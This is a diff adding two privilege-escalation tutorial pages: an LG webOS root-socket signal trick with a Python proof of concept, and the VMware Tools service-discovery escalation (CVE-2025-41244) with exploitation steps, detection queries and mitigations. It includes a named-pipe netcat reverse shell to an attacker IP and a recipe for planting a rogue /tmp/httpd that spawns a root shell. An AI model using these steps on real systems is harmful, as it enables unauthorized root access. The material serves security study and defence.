 ```
 
+## Case study: Root-owned UNIX socket signal-triggered escalation (LG webOS)
+
+Some privileged daemons expose a root-owned UNIX socket that accepts untrusted input and couples privileged actions to thread-IDs and signals. If the protocol lets an unprivileged client influence which native thread is targeted, you may be able to trigger a privileged code path and escalate.
+
+Observed pattern:
+- Connect to a root-owned socket (e.g., /tmp/remotelogger).
+- Create a thread and obtain its native thread id (TID).
+- Send the TID (packed) plus padding as a request; receive an acknowledgement.
+- Deliver a specific signal to that TID to trigger the privileged behaviour.
+
+Minimal PoC sketch:
+
+```python
+import socket, struct, os, threading, time
+# Spawn a thread so we have a TID we can signal
+th = threading.Thread(target=time.sleep, args=(600,)); th.start()
+ tid = th.native_id  # Python >=3.8
+s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
+s.connect("/tmp/remotelogger")
+s.sendall(struct.pack('<L', tid) + b'A'*0x80)
+s.recv(4)  # sync
+os.kill(tid, 4)  # deliver SIGILL (example from the case)
+```
+
+To turn this into a root shell, a simple named-pipe + nc pattern can be used:
+
+```bash
+rm -f /tmp/f; mkfifo /tmp/f
+cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
+```
+
+Notes:
+- This class of bugs arises from trusting values derived from unprivileged client state (TIDs) and binding them to privileged signal handlers or logic.
+- Harden by enforcing credentials on the socket, validating message formats, and decoupling privileged operations from externally supplied thread identifiers.

+# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+This technique abuses regex-driven service discovery pipelines that parse running process command lines to infer service versions and then execute a candidate binary with a "version" flag. When permissive patterns accept untrusted, attacker-controlled paths (e.g., /tmp/httpd), the privileged collector executes an arbitrary binary from an untrusted location, yielding local privilege escalation. NVISO documented this in VMware Tools/Aria Operations Service Discovery as CVE-2025-41244.
+
+- Impact: Local privilege escalation to root (or to the privileged discovery account)
+- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
+- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
+
+## How VMware service discovery works (high level)
+
+- Credential-based (legacy): Aria executes discovery scripts inside the guest via VMware Tools using configured privileged credentials.
+- Credential-less (modern): Discovery logic runs within VMware Tools, already privileged in the guest.
+
+Both modes ultimately run shell logic that scans processes with listening sockets, extracts a matching command path via a regex, and executes the first argv token with a version flag.
+
+## Root cause and vulnerable pattern (open-vm-tools)
+
+In open-vm-tools, the serviceDiscovery plugin script get-versions.sh matches candidate binaries using broad regular expressions and executes the first token without any trusted-path validation:
+
+```bash
+get_version() {
+  PATTERN=$1
+  VERSION_OPTION=$2
+  for p in $space_separated_pids
+  do
+    COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
+    [ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND
+  done
+}
+```
+
+It is invoked with permissive patterns containing \S (non-whitespace) that will happily match non-system paths in user-writable locations:
+
+```bash
+get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
+get_version "/usr/(bin|sbin)/apache\S*" -v
+get_version "/\S+/mysqld($|\s)" -V
+get_version "\.?/\S*nginx($|\s)" -v
+get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
+get_version "/\S+/dataserver($|\s)" -v
+```
+
+- Extraction uses grep -Eo and takes the first token: ${COMMAND%%[[:space:]]*}
+- No whitelist/allowlist of trusted system paths; any discovered listener with a matching name is executed with -v/--version
+
+This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component.
+
+## Exploitation (both credential-less and credential-based modes)
+
+Preconditions
+- You can run an unprivileged process that opens a listening socket on the guest.
+- The discovery job is enabled and runs periodically (historically ~5 minutes).
+
+Steps
+1) Stage a binary in a path matching one of the permissive regexes, e.g. /tmp/httpd or ./nginx
+2) Run it as a low-privileged user and ensure it opens any listening socket
+3) Wait for the discovery cycle; the privileged collector will automatically execute: /tmp/httpd -v (or similar), running your program as root
+
+Minimal demo (using NVISO’s approach)
+```bash
+# Build any small helper that:
+#  - default mode: opens a dummy TCP listener
+#  - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i)
+# Example staging and trigger
+cp your_helper /tmp/httpd
+chmod +x /tmp/httpd
+/tmp/httpd          # run as low-priv user and wait for the cycle
+# After the next cycle, expect a root shell or your privileged action
+```
+
+Typical process lineage
+- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
+- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
+
+Artifacts (credential-based)
+Recovered SDMP wrapper scripts under /tmp/VMware-SDMP-Scripts-{UUID}/ may show direct execution of the rogue path:
+```bash
+/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
+```
+
+## Generalizing the technique: regex-driven discovery abuse (portable pattern)
+
+Many agents and monitoring suites implement version/service discovery by:
+- Enumerating processes with listening sockets
+- Grepping argv/command lines with permissive regexes (e.g., patterns containing \S)
+- Executing the matched path with a benign flag like -v, --version, -V, -h
+
+If the regex accepts untrusted paths and the path is executed from a privileged context, you get CWE-426 Untrusted Search Path execution.
+
+Abuse recipe
+- Name your binary like common daemons that the regex is likely to match: httpd, nginx, mysqld, dataserver
+- Place it in a writable directory: /tmp/httpd, ./nginx
+- Ensure it matches the regex and opens any port to be enumerated
+- Wait for the scheduled collector; you get an automatic privileged invocation of <path> -v
+
+Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth.
+
+Reusable privileged I/O relay trick
+- Build your helper so that on privileged invocation (-v/--version) it connects to a known rendezvous (e.g., a Linux abstract UNIX socket like @cve) and bridges stdio to /bin/sh -i. This avoids on-disk artifacts and works across many environments where the same binary is re-invoked with a flag.
+
+## Detection and DFIR guidance
+
+Hunting queries
+- Uncommon children of vmtoolsd or get-versions.sh such as /tmp/httpd, ./nginx, /tmp/mysqld
+- Any execution of non-system absolute paths by discovery scripts (look for spaces in ${COMMAND%%...} expansions)
+- ps -ef --forest to visualize ancestry trees: vmtoolsd -> get-versions.sh -> <non-system path>
+
+On Aria SDMP (credential-based)
+- Inspect /tmp/VMware-SDMP-Scripts-{UUID}/ for transient scripts and stdout/stderr artifacts showing execution of attacker paths
+
+Policy/telemetry
+- Alert when privileged collectors execute from non-system prefixes: ^/(tmp|home|var/tmp|dev/shm)/
+- File integrity monitoring on get-versions.sh and VMware Tools plugins
+
+## Mitigations
+
+- Patch: Apply Broadcom/VMware updates for CVE-2025-41244 (Tools and Aria Operations SDMP)
+- Disable or restrict credential-less discovery where feasible
+- Validate trusted paths: restrict execution to allowlisted directories (/usr/sbin, /usr/bin, /sbin, /bin) and only exact known binaries
+- Avoid permissive regexes with \S; prefer anchored, explicit absolute paths and exact command names
+- Drop privileges for discovery helpers where possible; sandbox (seccomp/AppArmor) to reduce impact
+- Monitor for and alert on vmtoolsd/get-versions.sh executing non-system paths
+
+## Notes for defenders and implementers
+
+Safer matching and execution pattern
+```bash
+# Bad: permissive regex and blind exec
+COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
+[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v
+
+# Good: strict allowlist + path checks
+candidate=$(get_command_line "$pid" | awk '{print $1}')
+case "$candidate" in
+  /usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2)
+      "$candidate" -v 2>&1 ;;
+  *)
+      : # ignore non-allowlisted paths
+      ;;
+esac
+```
